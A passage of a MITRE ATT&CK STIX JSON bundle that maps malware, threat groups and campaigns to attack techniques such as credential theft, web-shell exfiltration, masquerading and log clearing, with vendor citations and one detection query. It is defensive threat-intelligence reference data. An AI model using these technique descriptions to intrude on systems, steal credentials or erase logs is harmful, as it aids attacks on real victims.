2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e99ebaf9-e899-4339-b8db-2a98e5476cd4","created":"2024-06-14T19:32:27.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-14T20:15:09.304Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has used stolen credentials to sign into victim email accounts.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023) ","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9a0006e-1667-4407-a451-47a4409b90f3","type":"relationship","created":"2020-07-27T15:48:13.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T14:22:13.033Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has been signed with self-signed certificates.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9a4ceb4-ed33-48c4-b1f3-f73883b0e207","type":"relationship","created":"2019-02-12T16:33:29.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2019-07-17T01:18:32.965Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9a4e4bd-717a-4048-a623-4a1758b93acd","type":"relationship","created":"2021-06-22T13:33:51.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:33:51.624Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) has the ability to query the Registry to detect a key specific to VMware.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e9a96b5e-5d6c-46c7-85df-ff16d1efeb4d","created":"2022-02-02T21:05:49.053Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."},{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has a plugin designed to obtain a list of processes.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T19:38:54.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9ada3b5-26b5-468c-864f-c8f5806ed453","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:29:31.402Z","description":"Monitor executed commands and arguments for actions that could be taken to clear command history, such as Clear-History on Windows or `clear logging` / `clear history` via a Network Device CLI in AAA logs, or to disable writing command history, such as history -c in bash/zsh .\n\nAnalytic 1 - Powershell Commands \n\n (source=\"*WinEventLog:Microsoft-Windows-Powershell/Operational\" EventCode=\"4103\") (CommandLine=\"*Clear-History*\" OR\n (CommandLine=\"*Remove-Item*\" AND CommandLine=\"*ConsoleHost_history.text*\")) \n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9af5cec-1afb-46da-9d2c-1c0c78ea312b","created":"2022-10-06T21:16:05.336Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:16:05.336Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net start` command as part of their initial reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e9b4a99d-6ddb-40bb-918a-363ddbdac448","created":"2022-08-07T14:38:08.623Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has used a legitimate DLL file name, `Duser.dll` to disguise a malicious remote access tool.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9b71895-a9d2-4023-930b-4204f6c2d325","type":"relationship","created":"2020-03-30T20:41:17.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","source_name":"US-CERT Bankshot Dec 2017"}],"modified":"2020-03-30T20:41:17.349Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9baf508-6ac2-46b3-843e-d45974866af0","type":"relationship","created":"2021-04-16T03:03:15.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:23:40.332Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9bdf74e-3f6c-4097-9465-ec0b255326e4","created":"2024-07-01T21:01:59.844Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:01:59.844Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can collect user information from the targeted host.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e9be6f26-bcc8-49b2-b1aa-e8ce664a1fcb","created":"2022-08-26T22:17:05.730Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has contained a hardcoded list of IP addresses to block that belong to sandboxes and analysis platforms.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-26T22:17:05.730Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9c00323-e4de-41ac-9051-55860ecfa8a0","type":"relationship","created":"2021-03-01T21:55:29.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-04-27T20:19:31.569Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has used brute force attempts against a central management console, as well as some Active Directory accounts.(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9ca5d3c-cd22-41d6-a81a-97ae51cf32ff","created":"2022-05-25T19:56:36.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-10T20:49:48.719Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used a web shell to exfiltrate a ZIP file containing a dump of LSASS memory on a compromised machine.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9cbcdd4-645d-45ee-a5b6-65c651afe154","created":"2024-03-13T21:26:24.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T14:34:26.962Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has obtained credentials from mail clients via NirSoft MailPassView.(Citation: SCILabs Malteiro 2021)(Citation: Segurança Informática URSA Sophisticated Loader 2020)(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9cd867a-074c-4fca-8184-e6adad66af0f","type":"relationship","created":"2021-09-24T16:42:46.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-24T16:42:46.848Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) has a command to take ownership of a file and reset the ACL permissions using the takeown.exe /F filepath command.(Citation: NCC Group WastedLocker June 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9d2213a-81cf-45e3-876f-825d4ff2afae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"}],"modified":"2019-04-24T23:21:07.877Z","description":"[Dyre](https://attack.mitre.org/software/S0024) registers itself as a service by adding several Registry keys.(Citation: Symantec Dyre June 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9d48406-947c-4d50-9539-b30c4566403b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:38:55.099Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has used cmd.exe to execute commmands.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9d51358-7606-4598-8185-8ad978e87d71","created":"2021-03-23T20:49:40.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Securelist ShadowPad Aug 2017","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021.","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/"},{"source_name":"Kaspersky ShadowPad Aug 2017","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.551Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) uses a DGA that is based on the day of the month for C2 servers.(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9dcd224-c2c4-4bee-a1ac-51d656653237","created":"2023-03-31T17:39:05.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T18:23:20.777Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) disabled event logging on compromised systems.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e9ddb0b6-298e-4061-b194-c9ea5d49c6d0","created":"2022-01-26T22:07:08.667Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has renamed malicious code to `msacm32.dll` to hide within a legitimate library; earlier versions were disguised as `winhelp`.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-13T19:01:53.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9de3c2d-1b2e-4c35-a406-475f5f5fd4d5","type":"relationship","created":"2019-01-30T13:28:47.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"},{"source_name":"Trend Micro Xbash Sept 2018","url":"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet","description":"Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019."}],"modified":"2020-03-29T18:24:47.457Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.(Citation: Unit42 Xbash Sept 2018)(Citation: Trend Micro Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9e35351-d53c-4ea3-a439-d43bd636ae32","created":"2019-01-29T21:27:25.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.992Z","description":"(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9e70d42-7810-4175-aea5-509a6541f4dd","created":"2022-09-30T20:55:19.904Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:55:19.904Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has sent data and files from a compromised host to its C2 servers.(Citation: Cylance Dust 